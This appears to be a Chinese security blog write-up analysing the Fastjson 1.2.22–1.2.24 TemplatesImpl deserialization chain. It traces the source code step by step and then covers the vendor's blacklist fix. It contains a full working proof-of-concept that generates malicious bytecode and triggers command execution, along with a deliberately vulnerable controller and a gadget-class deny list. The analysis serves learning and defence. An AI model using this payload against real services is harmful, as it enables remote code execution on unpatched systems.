FastJason 1.2.22-1.2.24 TemplatesImpl利用链分析

0x00 前言

FastJson是阿里巴巴开源的一个json库,能够快速的进行序列化和反序列化,但是自17年起就陆陆续续爆出过许多RCE,碰巧前段时间朋友丢过来一个fastjson让帮忙看看,同时之前面试中也有被问到所以就打算来学习一下

前前后后看了好几天同时阅读了很多前辈的文章才弄明白,仔仔细细跟了一下底层利用链(Java还是得继续学习,太菜了呜呜呜)

一共有两种利用链:

  1. TemplatesImpl
  2. jndi

本文主要介绍 TemplatesImpl利用链 ,不过相对于jndi利用链,本文介绍的方法局限性会更大一些,jndi会在下一篇文章中进行介绍

0x01 FastJson使用

简单使用

首先在pom.xml中添加依赖,这里我使用的版本是1.2.24

<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.2.24</version>
</dependency>

User Demo类

public class User {
    private String name;

    public User() {
        System.out.println("调用构造函数");
    }

    public String getName() {
        System.out.println("调用getName");
        return name;
    }

    public void setName(String name) {
        System.out.println("调用setName");
        this.name = name;
    }

    @Override
    public String toString() {
        return "User{" +
                "name='" + name + '\'' +
                '}';
    }
}

序列化:JSON.toJSONString()

将对象序列化成Json字符串,发现fastjson在序列化的过程中自动调用了类中的 getter 构造函数,这里触发setName是因为前面调用了setName (至于为什么能自动调用下文会讲到)

image-20210308152951905

反序列化:JSON.parseObject()JSON.parse()

这里两种方法返回的对象会所有不同,如下图:

parseObject:返回 fastjson.JSONObject

parse :返回我们的类 User

可以发现在都是默认输入的情况下,parseObject 会返回parseObject,parse则会返回我们的User类

image-20210308220646942

但是我们可以通过在parseObject参数中传入类,从而达到和parse相同的效果

parseObject(input,Object.class) (这里同样可以传入User.class), 发现此时也变成了User类

image-20210308220919766

@type

FastJson 中有一个@type 参数,能将我们反序列化后的类转为@type 中指定的类,然后在反序列化过程中会自动调用类中的setter getter 和构造器,这里起一个springboot来看一下效果

我们这里写一个Evil恶意类

public class Evil {
    String cmd;

    public Evil(){

    }

    public void setCmd(String cmd) throws Exception{
        this.cmd = cmd;
        Runtime.getRuntime().exec(this.cmd);
    }

    public String getCmd(){
        return this.cmd;
    }

    @Override
    public String toString() {
        return "Evil{" +
                "cmd='" + cmd + '\'' +
                '}';
    }
}

准备一个springboot 作为后端

@RestController
public class FastVuln {

    @RequestMapping("/fast1")
    public String FastVuln1(@RequestParam(name="cmd") String cmd) throws Exception{
        Object obj = JSON.parseObject(cmd,Object.class, Feature.SupportNonPublicField);
        System.out.println(obj.getClass().getName());
        return cmd;
    }
}

发送我们构造好的json数据就会触发反序列化,json数据被fastjson反序列化后成我们的恶意Evil类,fastjson就会自动调用setter函数进行赋值

image-20210307144937343

setter getter 自动调用分析

经过上面例子我们可以发现fastjson会自动调用getter setter 函数,那么我们就来研究一下,在源码层面究竟是如何实现的,这里主要和JavaBeanInfo中的build函数有关,我们下面来分析一下

JavaBeanInfo#build

JavaBeanInfo.build() 的129行处,红框处利用反射将我们传入的类中的方法,属性,构造器分别存入了数组中

image-20210307201903252

下面会来到一个if 判断 ,如果我们默认的构造函数为null 同时 我们的类不是接口或者抽象类就会进入这个判断,这里由于我们传入的是User所以并不会进入这个判断

image-20210307202518374

继续往下看一直看到 328行,先分析上半部分

首先会遍历methods中所有的method方法,然后会经过四个判断,只要符合任意一个判断就会触发continue跳出当前循环,所以必须要满足下面列出来的五个方法才能顺利执行,否则就会跳出当前循环(ps:这里和代码中的判断要反一反)

  1. 方法名长度不能小于4
  2. 不能是静态方法
  3. 返回的类型必须是void 或者是自己本身
  4. 传入参数个数必须为1
  5. 方法开头必须是set
image-20210307202846748

如果满足了上面举例出来的五个条件后,就会来到下半部分,如下图:

首先会截取第四位的字符,例如传入的是set_name,则c3就是_ ,然后就会进入下面的几个判断,根据c3不同的情况进行不同的截断

image-20210307203851971

如果经过上面的截取还是找不到属性或者类型为boolean,就会在截取后的变量前加上is然后对部分字符进行大写最后进行拼接处理,然后重新在类中进行寻找属性字段

例:isName

image-20210307204810376

最后会将符合要求的都添加到FieldInfo中

image-20210307213955909
image-20210307214055835

接下来继续看getter方法的判断

和上面set判断差不多,首先会遍历methods中的每个方法,同样的如果要顺利执行下去需要符合四个条件

  1. 方法名长度不小于4
  2. 不能是静态方法
  3. 方法名要get开头同时第四个字符串要大写
  4. 方法返回的类型必须继承自Collection Map AtomicBoolean AtomicInteger AtomicLong
  5. 传入的参数个数需要为0
image-20210307205457805

同样的如果符合上面要求的就会添加到FieldInfo中

image-20210307211247166

最后返回JavaBeanInfo,beanInfo中会存放我们类中的各种信息

image-20210307211529533

Feature.SupportNonPublicField

由于该字段在fastjson1.2.22版本引入,所以只能影响1.2.22-1.2.24

在前面的Evil类中,可以发现我们的setter和getter方法是public的,但是如果有时候遇到private的情况我们就不能进行反序列化了,会返回null

image-20210307151554764

这时我们可以添加SerializerFeature.WriteClassName 参数,这样私有属性 _bytecodes_tfactory就会被fastjson正常反序列化了

image-20210307151745899

0x02 TemplatesImpl 前置知识

在前言中我们提到TemplatesImpl相比jndi会有更多的限制,接下来来说一下有哪些限制

首先后端解析必须要符合下面的条件之一

  1. parseObject(input,Object.class,Feature.SupportNonPublicField)
  2. parse(input,Feature.SupportNonPublicField)

前面说到parseObject如果不传入Object.class则会返回fastjson.JSONObject,无法将传入的类进行转换

如果不传入Feature.SupportNonPublicField,则无法将json中恢复private属性

image-20210308170714988

Poc

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.*;

import java.util.Base64;

public class poc1 {
    public static String generateEvil() throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass clas = pool.makeClass("Evil");
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        String cmd = "Runtime.getRuntime().exec(\"open -a Calculator\");";
        clas.makeClassInitializer().insertBefore(cmd);
        clas.setSuperclass(pool.getCtClass(AbstractTranslet.class.getName()));

        clas.writeFile("./");

        byte[] bytes = clas.toBytecode();
        String EvilCode = Base64.getEncoder().encodeToString(bytes);
        System.out.println(EvilCode);
        return EvilCode;
    }
    public static void main(String[] args) throws Exception {
        final String GADGAT_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
        String evil = poc1.generateEvil();
        String PoC = "{\"@type\":\"" + GADGAT_CLASS + "\",\"_bytecodes\":[\"" + evil + "\"],'_name':'a.b','_tfactory':{},\"_outputProperties\":{ }," + "\"_name\":\"a\",\"allowedProtocols\":\"all\"}\n";
        JSON.parseObject(PoC,Object.class, Feature.SupportNonPublicField);
    }
}
  1. _bytecodes为什么需要base64编码?

位置:DefaultFieldDeserializer.parseField() 71行左右,调用了deserialze函数,跟进

image-20210308224332612

位置:com/alibaba/fastjson/serializer/ObjectArrayCodec.deserialze() 128行

image-20210308224727999

位置:com/alibaba/fastjson/parser/JSONScanner.bytesValue() 112行

进行了base64解码操作

image-20210308224537776
  1. _tfactory为什么为{}

如果我们不传入的话,在最后调用的时候,由于_tfactory 为null,所以直接返回了,就到不了加载字节码的地方,所以我们得想办法传入一个数值让_tfactory最后不为null,而是为TransformerFactoryImpl 实例

image-20210308230859225
image-20210308230732386

poc中传入的是{} ,让我们来看一下为什么可以

如果传入的键值为空的话,如果为空会根据类属性定义的类型自动创建实例

image-20210309102508135

TemplatesImpl利用链

具体分析在上一篇文中已经分析过,这里就大致分析一下利用链

https://mp.weixin.qq.com/s/tR9uOhNXuvjoFZItk_PzOQ

最终会调用defineClass,加载_bytecodes 中的恶意字节码,并且转化成类

TemplatesImpl#getOutputProperties()
  TemplatesImpl#newTransformer()
    TemplatesImpl#getTransletInstance()
        TemplatesImpl#defineTransletClasses()
            TransletClassLoader#defineClass()
        input#newInstance()

FastJson中是如何触发的?

前面说到FastJson在反序列化过程中会自动调用类中的getter函数和setter函数,然后在FastJson在寻找对应的反序列化器的时候会调用一个smartMatch函数来进行模糊匹配,在该函数中会将我们 json中的 _outputProperties 转换成 outputProperties,转换之后fastjson就会找到 getOutputProperties 方法,最后调用时触发了TemplatesImpl的利用链导致RCE

0x03 TemplatesImpl利用链分析

再次梳理一下,fastjson前半部分主要是获取对应属性,对应类的反序列化器,然后实例化之后利用smart来模糊找到对应key的反序列化器,然后调用对应属性的反序列化器进行反序列化 ,接下来我们来分析一下TemplatesImpl最终是如何进行触发的

首先来构造我们的payload,和cc2一样,TemplatesImpl有一条利用链,由于重写了classloader中的defineclass方法,导致在符合条件的情况下能够读取我们构造的恶意字节码,然后在利用newinstance进行实例化的时候会触发我们恶意类中的恶意方法从而导致命令执行

Poc:

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.*;

import java.util.Base64;

public class poc1 {
    public static String generateEvil() throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass clas = pool.makeClass("Evil");
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        String cmd = "Runtime.getRuntime().exec(\"open -a Calculator\");";
        clas.makeClassInitializer().insertBefore(cmd);
        clas.setSuperclass(pool.getCtClass(AbstractTranslet.class.getName()));

        clas.writeFile("./");

        byte[] bytes = clas.toBytecode();
        String EvilCode = Base64.getEncoder().encodeToString(bytes);
        System.out.println(EvilCode);
        return EvilCode;
    }
    public static void main(String[] args) throws Exception {
        final String GADGAT_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
        String evil = poc1.generateEvil();
        String PoC = "{\"@type\":\"" + GADGAT_CLASS + "\",\"_bytecodes\":[\"" + evil + "\"],'_name':'a.b','_tfactory':{},\"_outputProperties\":{ }," + "\"_name\":\"a\",\"allowedProtocols\":\"all\"}\n";
        JSON.parseObject(PoC,Object.class, Feature.SupportNonPublicField);
    }
}

成功弹出计算器

image-20210308172843092

接下来我们就一步步进行分析

位置:JSON.parseObject() 311行左右

首先会创建默认的Json解析器parser,同时将我们的input作为输入进行传入

image-20210308104733864

位置:DefaultJSONParser 构造函数 175行左右

跟进DefaultJSONParser ,会获取我们input中的第一个字符,然后进入if判断中,如果第一个字符是{ 那么就将12赋值给lexer.token

image-20210308105310030

位置:JSON.parseObject() 311行左右

继续回到parseObject函数中,调用parser的parserObject来解析我们传入的类

image-20210308105551875

位置:DefaultJSONParser.parseObject() 615行左右

在第636行,getDeserializer()会根据我们传入的type类型获取对应的反序列化器,跟进该函数

image-20210308110048685

位置: ParserConfig.getDeserializer 305行左右

跟进getDeserializer 方法后,发现会根据我们传入的type在derializers中寻找对应的反序列化器。

derializers中存放着常见类和其对应的反序列化器(key-value形式),这里由于我们的type是Object.class所以是能够找到对应的反序列化器的,所以进入第一个if,直接返回找到的反序列化器

image-20210308110340324

位置:DefaultJSONParser.parseObject() 615行左右

前面getDeserializer(type)获取到对应的反序列化器之后,继续来到parseObject函数,利用上面获取到的反序列化器来反序列化我们传入的类

image-20210308113656029

位置:DefaultJSONParser.parse() 1305行左右

进入到switch,根据之前的token值进入对应的case,来到下面这个case处,这里new了一个JSON对象,然后利用DefaultJSONParser.parseObject() 对这个对象进行解析,此时fieleName为null,因为还没解析json字段中的内容

image-20210308114125713

位置:DefaultJSONParser.parseObject() 205行左右

首先会对json进行一些规范的检测,然后就会判断{ 下一个字符是不是 " ,由于json数据 { 后面就是" 所以我们继续往下看即可

image-20210308114752796

继续往下看会有一个if判断,如果我们的key等于JSON.DEFAULT_TYPE_KEY 同时 没有开启Feature.DisableSpecialKeyDetect 就会进入判断,利用loadClass,加载我们的类对象

image-20210308115202779

然后会根据我们之前加载的类,寻找对应的反序列化器

image-20210308115313964

位置:ParserConfig.getDeserializer() 305行左右

跟进getDeserializer 函数,由于此时我们的type是class com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 所以自然是找不到的,所以进入第二个if判断

image-20210308115501478

位置:ParserConfig.getDeserializer() 327行左右

继续跟进getDeserializer方法,在第360行处会经过一个黑名单处理,会获取我们的类名然后判断我们的类是否在黑名单中

image-20210308115905779

denyList内容如下

image-20210308115936761

经过之后会进行一系列的判断,由于TemplatesImpl类都不在if判断的条件范围内,所以会创建一个JavaBeanDeserializer ,我们跟进createJavaBeanDeserializer 这个函数

image-20210309133311425

位置:ParseConfig.createJavaBeanDeserializer() 469行左右

跟进createJavaBeanDeserializer函数,在第526行左右,发现调用了build函数,前面有讲过build,在build中会利用反射获取类的信息然后存在beanInfo

image-20210308121605756

进入到585行的if判断,进入到JavaBeanDeserializer,我们继续跟进JavaBeanDeserializer 方法

image-20210308124017113

位置:JavaBeanDeserializer 构造函数 38行左右

configJavaBeanInfo传入到JavaBeanDeserializer函数中

image-20210308125042759

遍历beaninfo中的sortedFields,然后根据对应的属性创建对应的反序列化器,然后添加到sortedFieldDeserializerss

在第二个for循环中会根据fieldInfo的名字调用getFieldDeserializer函数在sortedFieldDeserializers数组中寻找对应的反序列化器

image-20210308124414411

getFieldDeserializer就是一个查找的函数,找到了返回对应的反序列化器,没找到则返回null

image-20210308125759457

位置:ParserConfig.getDeserializer 大约466行

重新回到getDeserializer函数,返回反序列化器

image-20210308130000103

位置:DefaultJSONParser.parseObject() 大约368行

在都获取到了对应的反序列化器之后,正式开始进行反序列化

image-20210308130111755

位置:JavaBeanDeserializer.deserialze() 大约266行

在570行左右,对我们的类进行了实例化

image-20210308131154423

接下来就是对参数进行解析,跟进parseField方法

image-20210308132003730

位置:JavaBeanDeserializer.parseField() 720行左右

在该方法中利用smartMatch对我们传入的属性进行了模糊匹配,跟进该函数

image-20210308132054683

首先会利用getFieldDeserializer寻找与key对应的反序列化器,如果找不到对应的则会判断是否属性是布尔类型(例:isName)

前半部分不是重点

image-20210308132156557

重点来看后半部分,红框处将_替换为了空,即我们传入的_outputProperties 会在这里变成 outputProperties

image-20210308133736653

然后调用getFieldDeserializer,在sortedFieldDeserializers 中找到getOutputProperties 方法,并且进行返回

image-20210308133935074
image-20210309135456026

位置:DefaultFieldDeserialier.parseField

调用与属性对应的反序列化器,对属性进行反序列化,将反序列化后的值赋值给value,然后进入setValue

image-20210308134159176

此时method已为 getOutputProperties

image-20210308134857396

利用反射进行触发

image-20210308135143709

位置:TemplatesImpl.getOutputProperties() 505行左右

然后就会调用getOutputProperties函数,然后getOutputProperties函数中会调用newTransformer()函数,跟进newTransformer函数

image-20210308135410965

位置:TemplatesImpl.newTransformer() 481行左右

跟进getTransletInstance() 方法

image-20210308141315749

位置:TemplatesImpl.getTransletInstance()

如果_class 等于null,进入defineTransletClasses函数,进行跟进

image-20210308141413073

位置:TemplatesImpl.defineTransletClasses() 390行

在414行左右,会调用defineClass来加载字节码

image-20210308141517104

位置:TemplatesImpl.getTransletInstance() 446行

在第455行处,对加载的类进行了实例化,然后触发了静态方法,从而触发了恶意命令执行

image-20210308142015336

0x04 fastjson 1.2.24 修复

https://github.com/alibaba/fastjson/commit/d52085ef54b32dfd963186e583cbcdfff5d101b5

将DefaultJSONParser.parseObject中将加载类的TypeUtils.loadClass方法替换为了this.config.checkAutoType()方法

image-20210309115114098

在checkAutoType中,利用了白名单+黑名单的机制

image-20210309132643830

同时增加了黑名单, 在黑名单中扩充了很多类

image-20210309131604088

如果检测到传入的类在黑名单中则停止反序列化

bsh
com.mchange
com.sun.
java.lang.Thread
java.net.Socket
java.rmi
javax.xml
org.apache.bcel
org.apache.commons.beanutils
org.apache.commons.collections.Transformer
org.apache.commons.collections.functors
org.apache.commons.collections4.comparators
org.apache.commons.fileupload
org.apache.myfaces.context.servlet
org.apache.tomcat
org.apache.wicket.util
org.codehaus.groovy.runtime
org.hibernate
org.jboss
org.mozilla.javascript
org.python.core
org.springframework

可以发现fastjson修改这里在加载类上都做了限制,采用了白名单+黑名单的方式(可惜后面还是被绕过了)

https://github.com/alibaba/fastjson/wiki/security_update_20170315

这是阿里更新之后的日志,如果企业中爆发了类似fastjson的这样安全事件可以先全局搜索pom.xml搜索到利用fastjson的地方,然后写Poc进行全量的漏扫,然后推送开发进行对应性的修复,同时可在waf中添加"@type" 进行拦截

以上这些只是我自己的一些想法,有可能还有很多不到位的地方,这里可以看下面廖师傅的文章

看快手如何干掉Fastjson

http://xxlegend.com/2020/11/22/%E7%9C%8B%E5%BF%AB%E6%89%8B%E5%A6%82%E4%BD%95%E5%B9%B2%E6%8E%89Fastjson/

0x05 参考链接

http://xxlegend.com/2020/11/22/%E7%9C%8B%E5%BF%AB%E6%89%8B%E5%A6%82%E4%BD%95%E5%B9%B2%E6%8E%89Fastjson/

https://www.freebuf.com/vuls/178012.html
https://drops.blbana.cc/2020/04/01/Fastjson-TemplatesImpl-%E5%88%A9%E7%94%A8%E9%93%BE/#%E5%AE%89%E5%85%A8%E4%BF%AE%E5%A4%8D
https://drops.blbana.cc/2020/03/29/Fastjson%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%9F%BA%E7%A1%80/#Fastjson%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%9F%BA%E7%A1%80
https://b1ue.cn/archives/184.html
https://y4er.com/post/fastjson-learn/
点赞

发表评论

电子邮件地址不会被公开。必填项已用 * 标注